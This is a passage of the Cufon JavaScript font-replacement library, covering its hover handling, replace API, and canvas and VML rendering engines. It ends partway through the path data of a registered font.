				return node.compareDocumentPosition(anotherNode) & 16;
			}
			catch(e) {} // probably a XUL element such as a scrollbar
			return false;
		}

		function onOverOut(e) {
			var related = e.relatedTarget;
			// there might be no relatedTarget if the element is right next
			// to the window frame
			if (related && contains(this, related)) return;
			trigger(this, e.type == 'mouseover');
		}

		function onEnterLeave(e) {
			trigger(this, e.type == 'mouseenter');
		}

		function trigger(el, hoverState) {
			// A timeout is needed so that the event can actually "happen"
			// before replace is triggered. This ensures that styles are up
			// to date.
			setTimeout(function() {
				var options = sharedStorage.get(el).options;
				api.replace(el, hoverState ? merge(options, options.hover) : options, true);
			}, 10);
		}

		this.attach = function(el) {
			if (el.onmouseenter === undefined) {
				addEvent(el, 'mouseover', onOverOut);
				addEvent(el, 'mouseout', onOverOut);
			}
			else {
				addEvent(el, 'mouseenter', onEnterLeave);
				addEvent(el, 'mouseleave', onEnterLeave);
			}
		};

	}

	function ReplaceHistory() {

		var list = [], map = {};

		function filter(keys) {
			var values = [], key;
			for (var i = 0; key = keys[i]; ++i) values[i] = list[map[key]];
			return values;
		}

		this.add = function(key, args) {
			map[key] = list.push(args) - 1;
		};

		this.repeat = function() {
			var snapshot = arguments.length ? filter(arguments) : list, args;
			for (var i = 0; args = snapshot[i++];) api.replace(args[0], args[1], true);
		};

	}

	function Storage() {

		var map = {}, at = 0;

		function identify(el) {
			return el.cufid || (el.cufid = ++at);
		}

		this.get = function(el) {
			var id = identify(el);
			return map[id] || (map[id] = {});
		};

	}

	function Style(style) {

		var custom = {}, sizes = {};

		this.extend = function(styles) {
			for (var property in styles) {
				if (hasOwnProperty(styles, property)) custom[property] = styles[property];
			}
			return this;
		};

		this.get = function(property) {
			return custom[property] != undefined ? custom[property] : style[property];
		};

		this.getSize = function(property, base) {
			return sizes[property] || (sizes[property] = new CSS.Size(this.get(property), base));
		};

		this.isUsable = function() {
			return !!style;
		};

	}

	function addEvent(el, type, listener) {
		if (el.addEventListener) {
			el.addEventListener(type, listener, false);
		}
		else if (el.attachEvent) {
			el.attachEvent('on' + type, function() {
				return listener.call(el, window.event);
			});
		}
	}

	function attach(el, options) {
		var storage = sharedStorage.get(el);
		if (storage.options) return el;
		if (options.hover && options.hoverables[el.nodeName.toLowerCase()]) {
			hoverHandler.attach(el);
		}
		storage.options = options;
		return el;
	}

	function cached(fun) {
		var cache = {};
		return function(key) {
			if (!hasOwnProperty(cache, key)) cache[key] = fun.apply(null, arguments);
			return cache[key];
		};
	}

	function getFont(el, style) {
		var families = CSS.quotedList(style.get('fontFamily').toLowerCase()), family;
		for (var i = 0; family = families[i]; ++i) {
			if (fonts[family]) return fonts[family].get(style.get('fontStyle'), style.get('fontWeight'));
		}
		return null;
	}

	function elementsByTagName(query) {
		return document.getElementsByTagName(query);
	}

	function hasOwnProperty(obj, property) {
		return obj.hasOwnProperty(property);
	}

	function merge() {
		var merged = {}, arg, key;
		for (var i = 0, l = arguments.length; arg = arguments[i], i < l; ++i) {
			for (key in arg) {
				if (hasOwnProperty(arg, key)) merged[key] = arg[key];
			}
		}
		return merged;
	}

	function process(font, text, style, options, node, el) {
		var fragment = document.createDocumentFragment(), processed;
		if (text === '') return fragment;
		var separate = options.separate;
		var parts = text.split(separators[separate]), needsAligning = (separate == 'words');
		if (needsAligning && HAS_BROKEN_REGEXP) {
			// @todo figure out a better way to do this
			if (/^\s/.test(text)) parts.unshift('');
			if (/\s$/.test(text)) parts.push('');
		}
		for (var i = 0, l = parts.length; i < l; ++i) {
			processed = engines[options.engine](font,
				needsAligning ? CSS.textAlign(parts[i], style, i, l) : parts[i],
				style, options, node, el, i < l - 1);
			if (processed) fragment.appendChild(processed);
		}
		return fragment;
	}

	function replaceElement(el, options) {
		var name = el.nodeName.toLowerCase();
		if (options.ignore[name]) return;
		var replace = !options.textless[name];
		var style = CSS.getStyle(attach(el, options)).extend(options);
		var font = getFont(el, style), node, type, next, anchor, text, lastElement;
		if (!font) return;
		for (node = el.firstChild; node; node = next) {
			type = node.nodeType;
			next = node.nextSibling;
			if (replace && type == 3) {
				// Node.normalize() is broken in IE 6, 7, 8
				if (anchor) {
					anchor.appendData(node.data);
					el.removeChild(node);
				}
				else anchor = node;
				if (next) continue;
			}
			if (anchor) {
				el.replaceChild(process(font,
					CSS.whiteSpace(anchor.data, style, anchor, lastElement),
					style, options, node, el), anchor);
				anchor = null;
			}
			if (type == 1) {
				if (node.firstChild) {
					if (node.nodeName.toLowerCase() == 'cufon') {
						engines[options.engine](font, null, style, options, node, el);
					}
					else arguments.callee(node, options);
				}
				lastElement = node;
			}
		}
	}

	var HAS_BROKEN_REGEXP = ' '.split(/\s+/).length == 0;

	var sharedStorage = new Storage();
	var hoverHandler = new HoverHandler();
	var replaceHistory = new ReplaceHistory();
	var initialized = false;

	var engines = {}, fonts = {}, defaultOptions = {
		autoDetect: false,
		engine: null,
		//fontScale: 1,
		//fontScaling: false,
		forceHitArea: false,
		hover: false,
		hoverables: {
			a: true
		},
		ignore: {
			applet: 1,
			canvas: 1,
			col: 1,
			colgroup: 1,
			head: 1,
			iframe: 1,
			map: 1,
			noscript: 1,
			optgroup: 1,
			option: 1,
			script: 1,
			select: 1,
			style: 1,
			textarea: 1,
			title: 1,
			pre: 1
		},
		printable: true,
		//rotation: 0,
		//selectable: false,
		selector: (
				window.Sizzle
			||	(window.jQuery && function(query) { return jQuery(query); }) // avoid noConflict issues
			||	(window.dojo && dojo.query)
			||	(window.glow && glow.dom && glow.dom.get)
			||	(window.Ext && Ext.query)
			||	(window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query)
			||	(window.$$ && function(query) { return $$(query); })
			||	(window.$ && function(query) { return $(query); })
			||	(document.querySelectorAll && function(query) { return document.querySelectorAll(query); })
			||	elementsByTagName
		),
		separate: 'words', // 'none' and 'characters' are also accepted
		textless: {
			dl: 1,
			html: 1,
			ol: 1,
			table: 1,
			tbody: 1,
			thead: 1,
			tfoot: 1,
			tr: 1,
			ul: 1
		},
		textShadow: 'none'
	};

	var separators = {
		// The first pattern may cause unicode characters above
		// code point 255 to be removed in Safari 3.0. Luckily enough
		// Safari 3.0 does not include non-breaking spaces in \s, so
		// we can just use a simple alternative pattern.
		words: /\s/.test('\u00a0') ? /[^\S\u00a0]+/ : /\s+/,
		characters: '',
		none: /^/
	};

	api.now = function() {
		DOM.ready();
		return api;
	};

	api.refresh = function() {
		replaceHistory.repeat.apply(replaceHistory, arguments);
		return api;
	};

	api.registerEngine = function(id, engine) {
		if (!engine) return api;
		engines[id] = engine;
		return api.set('engine', id);
	};

	api.registerFont = function(data) {
		if (!data) return api;
		var font = new Font(data), family = font.family;
		if (!fonts[family]) fonts[family] = new FontFamily();
		fonts[family].add(font);
		return api.set('fontFamily', '"' + family + '"');
	};

	api.replace = function(elements, options, ignoreHistory) {
		options = merge(defaultOptions, options);
		if (!options.engine) return api; // there's no browser support so we'll just stop here
		if (!initialized) {
			CSS.addClass(DOM.root(), 'cufon-active cufon-loading');
			CSS.ready(function() {
				// fires before any replace() calls, but it doesn't really matter
				CSS.addClass(CSS.removeClass(DOM.root(), 'cufon-loading'), 'cufon-ready');
			});
			initialized = true;
		}
		if (options.hover) options.forceHitArea = true;
		if (options.autoDetect) delete options.fontFamily;
		if (typeof options.textShadow == 'string') {
			options.textShadow = CSS.textShadow(options.textShadow);
		}
		if (typeof options.color == 'string' && /^-/.test(options.color)) {
			options.textGradient = CSS.gradient(options.color);
		}
		else delete options.textGradient;
		if (!ignoreHistory) replaceHistory.add(elements, arguments);
		if (elements.nodeType || typeof elements == 'string') elements = [ elements ];
		CSS.ready(function() {
			for (var i = 0, l = elements.length; i < l; ++i) {
				var el = elements[i];
				if (typeof el == 'string') api.replace(options.selector(el), options, true);
				else replaceElement(el, options);
			}
		});
		return api;
	};

	api.set = function(option, value) {
		defaultOptions[option] = value;
		return api;
	};

	return api;

})();

Cufon.registerEngine('canvas', (function() {

	// Safari 2 doesn't support .apply() on native methods

	var check = document.createElement('canvas');
	if (!check || !check.getContext || !check.getContext.apply) return;
	check = null;

	var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

	// Firefox 2 w/ non-strict doctype (almost standards mode)
	var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

	var styleSheet = document.createElement('style');
	styleSheet.type = 'text/css';
	styleSheet.appendChild(document.createTextNode((
		'cufon{text-indent:0;}' +
		'@media screen,projection{' +
			'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
			(HAS_BROKEN_LINEHEIGHT
				? ''
				: 'font-size:1px;line-height:1px;') +
			'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-indent:-10000in;}' +
			(HAS_INLINE_BLOCK
				? 'cufon canvas{position:relative;}'
				: 'cufon canvas{position:absolute;}') +
		'}' +
		'@media print{' +
			'cufon{padding:0;}' + // Firefox 2
			'cufon canvas{display:none;}' +
		'}'
	).replace(/;/g, '!important;')));
	document.getElementsByTagName('head')[0].appendChild(styleSheet);

	function generateFromVML(path, context) {
		var atX = 0, atY = 0;
		var code = [], re = /([mrvxe])([^a-z]*)/g, match;
		generate: for (var i = 0; match = re.exec(path); ++i) {
			var c = match[2].split(',');
			switch (match[1]) {
				case 'v':
					code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
					break;
				case 'r':
					code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
					break;
				case 'm':
					code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
					break;
				case 'x':
					code[i] = { m: 'closePath' };
					break;
				case 'e':
					break generate;
			}
			context[code[i].m].apply(context, code[i].a);
		}
		return code;
	}

	function interpret(code, context) {
		for (var i = 0, l = code.length; i < l; ++i) {
			var line = code[i];
			context[line.m].apply(context, line.a);
		}
	}

	return function(font, text, style, options, node, el) {

		var redraw = (text === null);

		if (redraw) text = node.getAttribute('alt');

		var viewBox = font.viewBox;

		var size = style.getSize('fontSize', font.baseSize);

		var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
		var shadows = options.textShadow, shadowOffsets = [];
		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				var x = size.convertFrom(parseFloat(shadow.offX));
				var y = size.convertFrom(parseFloat(shadow.offY));
				shadowOffsets[i] = [ x, y ];
				if (y < expandTop) expandTop = y;
				if (x > expandRight) expandRight = x;
				if (y > expandBottom) expandBottom = y;
				if (x < expandLeft) expandLeft = x;
			}
		}

		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
			~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
		);

		if (!jumps.length) return null; // there's nothing to render

		var width = jumps.total;

		expandRight += viewBox.width - jumps[jumps.length - 1];
		expandLeft += viewBox.minX;

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-canvas';
			wrapper.setAttribute('alt', text);

			canvas = document.createElement('canvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height);
		var roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var stretchedWidth = width * stretchFactor;

		var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
		var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

		canvas.width = canvasWidth;
		canvas.height = canvasHeight;

		// needed for WebKit and full page zoom
		cStyle.width = canvasWidth + 'px';
		cStyle.height = canvasHeight + 'px';

		// minY has no part in canvas.height
		expandTop += viewBox.minY;

		cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
		cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

		var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

		if (HAS_INLINE_BLOCK) {
			wStyle.width = wrapperWidth;
			wStyle.height = size.convert(font.height) + 'px';
		}
		else {
			wStyle.paddingLeft = wrapperWidth;
			wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
		}

		var g = canvas.getContext('2d'), scale = height / viewBox.height;

		// proper horizontal scaling is performed later
		g.scale(scale, scale * roundingFactor);
		g.translate(-expandLeft, -expandTop);
		g.save();

		function renderText() {
			var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
			g.scale(stretchFactor, 1);
			while (chr = chars[++i]) {
				var glyph = glyphs[chars[i]] || font.missingGlyph;
				if (!glyph) continue;
				if (glyph.d) {
					g.beginPath();
					if (glyph.code) interpret(glyph.code, g);
					else glyph.code = generateFromVML('m' + glyph.d, g);
					g.fill();
				}
				g.translate(jumps[++j], 0);
			}
			g.restore();
		}

		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				g.save();
				g.fillStyle = shadow.color;
				g.translate.apply(g, shadowOffsets[i]);
				renderText();
			}
		}

		var gradient = options.textGradient;
		if (gradient) {
			var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
			for (var i = 0, l = stops.length; i < l; ++i) {
				fill.addColorStop.apply(fill, stops[i]);
			}
			g.fillStyle = fill;
		}
		else g.fillStyle = style.get('color');

		renderText();

		return wrapper;

	};

})());

Cufon.registerEngine('vml', (function() {

	var ns = document.namespaces;
	if (!ns) return;
	ns.add('cvml', 'urn:schemas-microsoft-com:vml');
	ns = null;

	var check = document.createElement('cvml:shape');
	check.style.behavior = 'url(#default#VML)';
	if (!check.coordsize) return; // VML isn't supported
	check = null;

	var HAS_BROKEN_LINEHEIGHT = (document.documentMode || 0) < 8;

	document.write(('<style type="text/css">' +
		'cufoncanvas{text-indent:0;}' +
		'@media screen{' +
			'cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}' +
			'cufoncanvas{position:absolute;text-align:left;}' +
			'cufon{display:inline-block;position:relative;vertical-align:' +
			(HAS_BROKEN_LINEHEIGHT
				? 'middle'
				: 'text-bottom') +
			';}' +
			'cufon cufontext{position:absolute;left:-10000in;font-size:1px;}' +
			'a cufon{cursor:pointer}' + // ignore !important here
		'}' +
		'@media print{' +
			'cufon cufoncanvas{display:none;}' +
		'}' +
	'</style>').replace(/;/g, '!important;'));

	function getFontSizeInPixels(el, value) {
		return getSizeInPixels(el, /(?:em|ex|%)$|^[a-z-]+$/i.test(value) ? '1em' : value);
	}

	// Original by Dead Edwards.
	// Combined with getFontSizeInPixels it also works with relative units.
	function getSizeInPixels(el, value) {
		if (!isNaN(value) || /px$/i.test(value)) return parseFloat(value);
		var style = el.style.left, runtimeStyle = el.runtimeStyle.left;
		el.runtimeStyle.left = el.currentStyle.left;
		el.style.left = value.replace('%', 'em');
		var result = el.style.pixelLeft;
		el.style.left = style;
		el.runtimeStyle.left = runtimeStyle;
		return result;
	}

	function getSpacingValue(el, style, size, property) {
		var key = 'computed' + property, value = style[key];
		if (isNaN(value)) {
			value = style.get(property);
			style[key] = value = (value == 'normal') ? 0 : ~~size.convertFrom(getSizeInPixels(el, value));
		}
		return value;
	}

	var fills = {};

	function gradientFill(gradient) {
		var id = gradient.id;
		if (!fills[id]) {
			var stops = gradient.stops, fill = document.createElement('cvml:fill'), colors = [];
			fill.type = 'gradient';
			fill.angle = 180;
			fill.focus = '0';
			fill.method = 'none';
			fill.color = stops[0][1];
			for (var j = 1, k = stops.length - 1; j < k; ++j) {
				colors.push(stops[j][0] * 100 + '% ' + stops[j][1]);
			}
			fill.colors = colors.join(',');
			fill.color2 = stops[k][1];
			fills[id] = fill;
		}
		return fills[id];
	}

	return function(font, text, style, options, node, el, hasNext) {

		var redraw = (text === null);

		if (redraw) text = node.alt;

		var viewBox = font.viewBox;

		var size = style.computedFontSize || (style.computedFontSize = new Cufon.CSS.Size(getFontSizeInPixels(el, style.get('fontSize')) + 'px', font.baseSize));

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-vml';
			wrapper.alt = text;

			canvas = document.createElement('cufoncanvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}

			// ie6, for some reason, has trouble rendering the last VML element in the document.
			// we can work around this by injecting a dummy element where needed.
			// @todo find a better solution
			if (!hasNext) wrapper.appendChild(document.createElement('cvml:shape'));
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height), roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var minX = viewBox.minX, minY = viewBox.minY;

		cStyle.height = roundedHeight;
		cStyle.top = Math.round(size.convert(minY - font.ascent));
		cStyle.left = Math.round(size.convert(minX));

		wStyle.height = size.convert(font.height) + 'px';

		var color = style.get('color');
		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			getSpacingValue(el, style, size, 'letterSpacing'),
			getSpacingValue(el, style, size, 'wordSpacing')
		);

		if (!jumps.length) return null;

		var width = jumps.total;
		var fullWidth = -minX + width + (viewBox.width - jumps[jumps.length - 1]);

		var shapeWidth = size.convert(fullWidth * stretchFactor), roundedShapeWidth = Math.round(shapeWidth);

		var coordSize = fullWidth + ',' + viewBox.height, coordOrigin;
		var stretch = 'r' + coordSize + 'ns';

		var fill = options.textGradient && gradientFill(options.textGradient);

		var glyphs = font.glyphs, offsetX = 0;
		var shadows = options.textShadow;
		var i = -1, j = 0, chr;

		while (chr = chars[++i]) {

			var glyph = glyphs[chars[i]] || font.missingGlyph, shape;
			if (!glyph) continue;

			if (redraw) {
				// some glyphs may be missing so we can't use i
				shape = canvas.childNodes[j];
				while (shape.firstChild) shape.removeChild(shape.firstChild); // shadow, fill
			}
			else {
				shape = document.createElement('cvml:shape');
				canvas.appendChild(shape);
			}

			shape.stroked = 'f';
			shape.coordsize = coordSize;
			shape.coordorigin = coordOrigin = (minX - offsetX) + ',' + minY;
			shape.path = (glyph.d ? 'm' + glyph.d + 'xe' : '') + 'm' + coordOrigin + stretch;
			shape.fillcolor = color;

			if (fill) shape.appendChild(fill.cloneNode(false));

			// it's important to not set top/left or IE8 will grind to a halt
			var sStyle = shape.style;
			sStyle.width = roundedShapeWidth;
			sStyle.height = roundedHeight;

			if (shadows) {
				// due to the limitations of the VML shadow element there
				// can only be two visible shadows. opacity is shared
				// for all shadows.
				var shadow1 = shadows[0], shadow2 = shadows[1];
				var color1 = Cufon.CSS.color(shadow1.color), color2;
				var shadow = document.createElement('cvml:shadow');
				shadow.on = 't';
				shadow.color = color1.color;
				shadow.offset = shadow1.offX + ',' + shadow1.offY;
				if (shadow2) {
					color2 = Cufon.CSS.color(shadow2.color);
					shadow.type = 'double';
					shadow.color2 = color2.color;
					shadow.offset2 = shadow2.offX + ',' + shadow2.offY;
				}
				shadow.opacity = color1.opacity || (color2 && color2.opacity) || 1;
				shape.appendChild(shadow);
			}

			offsetX += jumps[j++];
		}

		// addresses flickering issues on :hover

		var cover = shape.nextSibling, coverFill, vStyle;

		if (options.forceHitArea) {

			if (!cover) {
				cover = document.createElement('cvml:rect');
				cover.stroked = 'f';
				cover.className = 'cufon-vml-cover';
				coverFill = document.createElement('cvml:fill');
				coverFill.opacity = 0;
				cover.appendChild(coverFill);
				canvas.appendChild(cover);
			}

			vStyle = cover.style;

			vStyle.width = roundedShapeWidth;
			vStyle.height = roundedHeight;

		}
		else if (cover) canvas.removeChild(cover);

		wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

		if (HAS_BROKEN_LINEHEIGHT) {

			var yAdjust = style.computedYAdjust;

			if (yAdjust === undefined) {
				var lineHeight = style.get('lineHeight');
				if (lineHeight == 'normal') lineHeight = '1em';
				else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
				style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
			}

			if (yAdjust) {
				wStyle.marginTop = Math.ceil(yAdjust) + 'px';
				wStyle.marginBottom = yAdjust + 'px';
			}

		}

		return wrapper;

	};

})());


/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Manufacturer:
 * Dalton Maag Ltd.
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"53,-247v-2,-202,151,-316,356,-263r0,-73r-146,0v-6,-18,-5,-49,0,-68r146,0r0,-82v29,-5,69,-5,98,0r0,82r73,0v5,19,5,49,0,68r-73,0r0,569v-54,15,-117,27,-190,26v-169,-2,-262,-86,-264,-259xm155,-249v-6,154,115,200,254,167r0,-346v-26,-11,-56,-16,-93,-16v-113,3,-156,80,-161,195","w":597},{"d":"438,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm192,-174v-26,13,-60,61,-28,92v73,37,261,-7,320,54v40,41,54,120,19,172v-46,69,-139,105,-255,105v-120,0,-211,-27,-211,-133v0,-60,37,-103,79,-125v-25,-17,-47,-40,-47,-81v0,-55,28,-86,61,-112v-40,-28,-73,-76,-73,-142v0,-120,85,-178,209,-181v60,0,110,20,144,46v28,-22,77,-38,129,-37v6,27,5,62,0,89r-90,0v14,22,23,47,23,83v1,143,-136,201,-280,170xm253,171v86,1,166,-26,170,-93v5,-86,-122,-59,-203,-65v-56,-4,-90,34,-90,84v0,64,58,73,123,74xm161,-344v0,65,36,107,105,107v69,0,105,-42,106,-107v0,-66,-37,-109,-106,-109v-70,0,-105,43,-105,109","w":549},{"d":"345,-126v-27,5,-63,6,-89,0r0,-181r-166,0v-5,-26,-5,-63,0,-89r166,0r0,-182v27,-5,61,-5,89,0r0,182r165,0v5,27,5,62,0,89r-165,0r0,181"},{"d":"675,65v-2,33,-6,63,-17,89r-230,-43v3,-39,7,-55,18,-86xm665,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm167,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"308,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"123,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm179,0v-30,5,-69,5,-99,0r0,-513v25,-5,59,-5,84,0v4,18,9,59,9,81v31,-51,87,-95,175,-82v6,27,4,63,-1,90v-115,-14,-168,52,-168,169r0,255","w":372},{"d":"453,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":557},{"d":"446,-788v-33,7,-76,7,-109,0v-5,-31,-5,-72,0,-103v33,-7,76,-7,109,0v5,31,5,72,0,103xm407,-78v57,1,100,-10,140,-27v15,29,24,56,28,83v-53,23,-108,34,-181,34v-223,0,-335,-141,-335,-367v0,-227,110,-370,333,-376v70,-2,122,11,171,27v-3,34,-13,56,-24,84v-41,-14,-82,-23,-139,-22v-157,2,-232,117,-230,287v1,170,72,274,237,277","w":618},{"d":"149,-609v-13,-17,-25,-36,-31,-59v20,-25,51,-50,96,-49v61,1,90,44,150,44v33,0,44,-11,67,-31v15,18,25,38,32,61v-21,24,-53,48,-97,47v-60,-1,-91,-44,-149,-44v-35,0,-44,12,-68,31xm314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"252,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm467,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"338,-734v-72,0,-117,-43,-117,-115v0,-72,45,-114,117,-114v71,0,117,42,117,114v0,72,-46,115,-117,115xm284,-849v0,37,18,63,54,63v36,0,54,-26,54,-63v0,-36,-19,-62,-54,-62v-35,0,-54,26,-54,62xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"347,-788v-33,7,-76,7,-109,0v-5,-31,-5,-72,0,-103v33,-7,76,-7,109,0v5,31,5,72,0,103xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"2,-609v-13,-17,-25,-36,-31,-59v20,-25,51,-50,96,-49v61,1,90,44,150,44v33,0,44,-11,67,-31v15,18,25,38,32,61v-21,24,-53,48,-97,47v-60,-1,-91,-44,-149,-44v-35,0,-44,12,-68,31xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288,"k":{"Y":-20,"W":-30}},{"d":"190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719xm317,-87v77,24,167,7,167,-90r0,-453r-126,0v-5,-26,-5,-63,0,-89r228,0r0,519v2,140,-56,213,-193,212v-32,0,-66,-6,-92,-12v0,-32,7,-61,16,-87","w":670},{"d":"147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164xm93,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0","w":517},{"d":"17,-513v34,-5,78,-6,111,0r140,423r141,-423v32,-6,73,-5,105,0r-200,513v-31,5,-67,5,-98,0","w":531},{"d":"279,140v2,-61,45,-109,87,-140r-279,0r0,-719r395,0v5,27,5,63,0,90r-293,0r0,205r235,0v4,27,5,63,0,90r-235,0r0,245r301,0v4,18,5,41,3,62v-45,48,-115,67,-121,150v-4,54,62,58,108,42v10,15,15,42,15,65v-86,26,-220,14,-216,-90","w":536},{"d":"91,-294v-6,-26,-5,-65,0,-92r417,0r0,279v-26,6,-65,5,-92,0r0,-187r-325,0"},{"d":"128,-887v41,-7,96,-6,138,0r105,108v-31,6,-74,5,-106,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"146,-609v-13,-17,-25,-36,-31,-59v20,-25,51,-50,96,-49v61,1,90,44,150,44v33,0,44,-11,67,-31v15,18,25,38,32,61v-21,24,-53,48,-97,47v-60,-1,-91,-44,-149,-44v-35,0,-44,12,-68,31xm527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188","w":577},{"d":"293,-435v1,-56,-69,-70,-124,-58r-11,-12r87,-133r-140,0v-4,-24,-4,-45,0,-69r256,0r8,15r-98,142v63,9,107,47,109,113v4,141,-174,165,-302,126v3,-24,11,-50,20,-68v68,25,194,32,195,-56","w":450},{"d":"350,-607v-36,5,-79,5,-115,0v-5,-34,-5,-75,0,-110v37,-4,78,-7,115,0v5,34,5,75,0,110xm292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":557},{"d":"445,-222v32,0,55,-5,79,-16v11,19,17,41,21,67v-31,14,-67,21,-108,21v-127,0,-194,-81,-194,-208v0,-126,66,-210,192,-213v48,-1,68,5,103,16v-2,26,-6,50,-16,69v-28,-9,-45,-12,-79,-12v-79,0,-116,58,-116,140v0,84,40,135,118,136xm298,-76v71,31,178,28,250,0v133,-52,214,-231,152,-403v-39,-110,-129,-185,-277,-187v-228,-3,-347,206,-277,427v24,76,80,131,152,163xm574,-16v-89,38,-21